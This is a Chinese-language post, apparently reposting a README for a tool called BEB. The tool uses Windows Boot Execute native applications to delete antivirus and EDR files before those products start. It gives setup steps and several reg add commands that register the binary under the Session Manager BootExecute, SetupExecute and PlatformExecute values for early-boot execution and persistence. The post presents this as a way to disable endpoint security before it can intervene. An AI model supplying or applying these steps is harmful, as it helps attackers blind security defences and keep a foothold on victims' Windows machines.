Boot Execute 允许本机应用程序（具有 NtProcessStartup 入口点且仅依赖于 ntdll.dll 的可执行文件）在 Windows 操作系统完全初始化之前运行。这甚至发生在 Windows 服务启动之前。从历史上看，攻击者利用此机制作为一种基本的持久性方法。但是，使用此功能需要管理权限，既要修改相应的注册表项，又要将可执行文件放在 %SystemRoot%\System32 目录中。
由于这些本机应用程序在安全机制完全运行之前执行，因此，当我们以 SYSTEM 权限运行时，通过删除关键应用程序文件，就有可能破坏防病毒 (AV) 和端点检测和响应 (EDR) 系统。
项目中包含的代码是一个利用此“功能”的示例，在端点安全产品有机会阻止我们之前禁用它们。
用法
编译二进制文件
将 BEB.exe 放在 C:\Windows\System32\ 中
添加以下任一注册表项，以便在 win32k 子系统初始化之前启动二进制文件
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "BootExecute" /t REG_MULTI_SZ /d "autocheck autochk *\0BEB" /freg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "BootExecuteNoPnpSync" /t REG_MULTI_SZ /d "BEB" /freg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "SetupExecute" /t REG_MULTI_SZ /d "BEB" /freg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "PlatformExecute" /t REG_MULTI_SZ /d "BEB" /f感谢您抽出
.
.
来阅读本文
点它，分享点赞在看都在这里
